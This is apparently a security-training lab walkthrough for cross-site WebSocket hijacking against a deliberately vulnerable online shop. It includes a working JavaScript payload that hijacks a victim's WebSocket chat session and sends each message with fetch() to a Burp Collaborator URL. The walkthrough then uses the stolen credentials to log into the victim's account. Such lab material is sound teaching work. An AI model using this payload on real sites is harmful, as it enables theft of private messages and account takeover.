- Click "Live chat" and send a chat message.
- Reload the page.
- In Burp Proxy, in the WebSockets history tab, observe that the "READY" command retrieves past chat messages from the server.
- In Burp Proxy, in the HTTP history tab, find the WebSocket handshake request. Observe that the request has no CSRF tokens.
- Right-click on the handshake request and select "Copy URL".
-
In the browser, go to the exploit server and paste the following template into the "Body" section:
<script> var ws = new WebSocket('wss://your-websocket-url'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> -
Replace
your-websocket-urlwith the URL from the WebSocket handshake (YOUR-LAB-ID.web-security-academy.net/chat). Make sure you change the protocol fromhttps://towss://. Replaceyour-collaborator-urlwith a payload generated by Burp Collaborator. - Click "View exploit".
- Poll for interactions in the Collaborator tab. Verify that the attack has successfully retrieved your chat history and exfiltrated it via Burp Collaborator. For every message in the chat, Burp Collaborator has received an HTTP request. The request body contains the full contents of the chat message in JSON format. Note that these messages may not be received in the correct order.
- Go back to the exploit server and deliver the exploit to the victim.
- Poll for interactions in the Collaborator tab again. Observe that you've received more HTTP interactions containing the victim's chat history. Examine the messages and notice that one of them contains the victim's username and password.
- Use the exfiltrated credentials to log in to the victim user's account.
Lab: Cross-site WebSocket hijacking
This online shop has a live chat feature implemented using WebSockets.
To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server.
